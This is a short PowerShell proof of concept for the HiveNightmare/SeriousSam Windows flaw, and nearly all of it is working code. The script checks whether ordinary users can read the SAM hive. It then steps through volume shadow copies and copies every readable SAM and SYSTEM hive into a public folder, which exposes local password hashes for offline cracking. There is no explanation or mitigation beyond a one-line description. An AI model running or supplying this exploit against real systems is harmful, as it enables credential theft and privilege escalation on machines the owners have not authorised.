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Super simple PowerShell PoC for HiveNightmare / SeriousSam that copies SAM and SYSTEM hive shadow copies to C:\Users\Public\Documents
function Invoke-HiveNightmare
{
if(((Get-Acl -LiteralPath C:\Windows\System32\config\sam).Access | where{($_.IdentityReference -eq "BUILTIN\Users") -and ($_.FileSystemRights -like "*Read*")}).Count -gt 0)
{
Write-Output "[*] VULNERABLE - BUILTIN\Users have Read access on C:\Windows\System32\config\sam"
}
else
{
Write-Output "[!] BUILTIN\Users do not have Read access on C:\Windows\System32\config\sam but may on volume shadow copies"
}
Write-Output "`n[*] Bruteforcing volume shadow copies where users have Read access and copying all SAM and SYSTEM hives to C:\Users\Public\Documents...`n"
for ($i = 1; $i -lt 99; $i++)
{
$path = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$i\Windows\System32\config\sam"
if(((Get-ItemProperty -LiteralPath $path).Count -gt 0) -and ((Get-Acl -LiteralPath $path).Access | where{($_.IdentityReference -eq "BUILTIN\Users") -and ($_.FileSystemRights -like "*Read*")}).Count -gt 0)
{
Write-Output $path
[System.IO.File]::WriteAllBytes("C:\Users\Public\Documents\sammy$i",[System.IO.File]::ReadAllBytes("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$i\Windows\System32\config\sam"))
[System.IO.File]::WriteAllBytes("C:\Users\Public\Documents\sys$i",[System.IO.File]::ReadAllBytes("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$i\Windows\System32\config\system"))
}
}
}
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